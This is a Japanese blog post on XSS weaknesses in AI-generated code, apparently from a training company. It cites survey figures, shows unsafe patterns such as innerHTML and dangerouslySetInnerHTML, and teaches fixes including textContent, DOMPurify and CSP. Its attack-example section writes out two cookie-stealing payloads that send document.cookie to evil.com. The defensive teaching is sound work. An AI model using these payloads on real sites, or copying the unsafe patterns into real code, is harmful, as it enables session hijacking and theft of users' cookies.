AIセキュリティ 2025年7月27日

AI生成コードがXSS攻撃に無防備な理由と対策

Veracodeの2025年調査は、衝撃的な数字を示しています。 **XSS防御の失敗率: 86%** AI生成コードのサンプルの86%が、XSS(クロスサイトスクリプティング)防御に失敗していました。

川西智也

合同会社ロイヤルピース 代表

アンチパターン⑪「XSS無防備」

【データで見る】衝撃的な統計数値

Veracodeの2025年調査は、衝撃的な数字を示しています。

XSS防御の失敗率: 86%

AI生成コードのサンプルの86%が、XSS(クロスサイトスクリプティング)防御に失敗していました。

また、CodeRabbitの調査では:

AI生成コードはXSS脆弱性を追加する可能性が2.74倍


XSSとは:AI生成コードで頻発する脆弱性

XSS(Cross-Site Scripting)は、悪意あるスクリプトをWebページに注入する攻撃です。

攻撃の流れ:

1. 攻撃者が悪意あるスクリプトを投稿
   例: <script>stealCookies()</script>

2. サーバーがそのまま保存

3. 他のユーザーがページを閲覧

4. ブラウザがスクリプトを実行

5. Cookie窃取、セッション乗っ取り、etc.

【要注意】典型的な危険コードパターン

AIが生成しがちなXSS脆弱性のあるコードを見てみましょう。

危険なコード(React/JavaScript):

// ❌ innerHTMLにユーザー入力を直接挿入
function displayMessage(userInput) {
  document.getElementById('message').innerHTML = userInput;
}

// ❌ dangerouslySetInnerHTMLを安易に使用
function Comment({ content }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// ❌ document.writeの使用
document.write(userData);

// ❌ jQueryのhtml()メソッド
$('#content').html(userComment);

攻撃例:

<!-- ユーザーが以下を入力 -->
<img src="x" onerror="fetch('https://evil.com?cookie='+document.cookie)">

<!-- または -->
<script>
  document.location = 'https://evil.com/steal?cookie=' + document.cookie;
</script>

XSS脆弱性の種類とAI生成コードへの影響

XSSには3つの種類があります。

1. 反射型XSS(Reflected XSS)

  • URLパラメータに悪意あるスクリプト
  • サーバーがそのままレスポンスに含める
  • ユーザーがリンクをクリックすると発動

2. 格納型XSS(Stored XSS)

  • 悪意あるスクリプトがデータベースに保存
  • 他のユーザーがページを開くと発動
  • より深刻(多くのユーザーに影響)

3. DOM-based XSS

  • クライアントサイドのJavaScriptが原因
  • サーバーを経由しない
  • SPAで多い

実践的な解決策:XSS対策

XSSを防ぐための実装方法を解説します。

実践的な解決策1: textContentを使用

// ✅ textContentを使用(HTMLとして解釈されない)
document.getElementById('message').textContent = userInput;

// React: 自動でエスケープされる
function Comment({ content }) {
  return <div>{content}</div>;  // 安全
}

実践的な解決策2: サニタイズライブラリ

import DOMPurify from 'dompurify';

// HTMLを許可する場合はサニタイズ
const cleanHtml = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

element.innerHTML = cleanHtml;

実践的な解決策3: CSP(Content Security Policy)

// HTTPヘッダーで設定
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https:;

// または <meta> タグで
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

実践的な解決策4: エスケープ関数

function escapeHtml(text) {
  const div = document.createElement('div');
  div.textContent = text;
  return div.innerHTML;
}

// または既存ライブラリ
import { escape } from 'lodash';
const safe = escape(userInput);

フレームワーク別の対策

React:

// ✅ デフォルトで安全(自動エスケープ)
<div>{userInput}</div>

// ❌ 危険(必要な場合のみ、サニタイズして使用)
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

Vue.js:

<!-- ✅ 安全(自動エスケープ) -->
<div>{{ userInput }}</div>

<!-- ❌ 危険(サニタイズ必須) -->
<div v-html="sanitizedInput"></div>

サーバーサイド:

// Express.js + EJS
// 自動エスケープ
<%= userInput %>

// エスケープなし(危険)
<%- userInput %>

プロンプトによるセキュリティ対策

AIにコード生成を依頼する際のプロンプト例です。

良いプロンプト:

コメント表示機能を実装して:

## 必須のセキュリティ要件
- XSS対策を実装
- ユーザー入力は必ずエスケープ
- HTMLを許可する場合はDOMPurifyでサニタイズ
- innerHTMLは使用禁止
- dangerouslySetInnerHTMLは使用禁止
- CSPヘッダーを設定

実装前チェックリスト

XSS対策のチェックリストです。

コードレビュー時:

  • innerHTMLを使用していないか
  • dangerouslySetInnerHTMLを使用していないか
  • document.writeを使用していないか
  • ユーザー入力がエスケープされているか

設定確認:

  • CSPヘッダーが設定されているか
  • HttpOnly Cookieを使用しているか
  • X-XSS-Protectionヘッダーがあるか

テスト時:

  • <script>alert(1)</script> が実行されないか
  • <img onerror="..."> が実行されないか
  • イベントハンドラが注入されないか

この事例から学ぶべき教訓と実践ポイント

「XSS無防備」から学ぶべきことは以下の通りです。

  1. 86%がXSS防御に失敗

    • AI生成コードの大半が脆弱
  2. 2.74倍の脆弱性追加

    • AIは積極的にXSSを作り込む
  3. textContentを使う

    • innerHTMLは避ける
  4. サニタイズライブラリ

    • DOMPurifyを使用
  5. CSPを設定

    • 多層防御

まとめ:重要ポイントの振り返り

  • AI生成コードの 86%がXSS防御に失敗 (Veracode)
  • XSS脆弱性を追加する可能性が 2.74倍 (CodeRabbit)
  • 解決策:textContent、DOMPurify、CSP
  • innerHTMLは使用禁止
  • dangerouslySetInnerHTMLは使用禁止
  • プロンプトで XSS対策を明示
  • 教訓:ユーザー入力をHTMLに埋め込むな

実践的なスキルを習得しませんか?

ブログで学んだ知識を、研修で実践に変えましょう。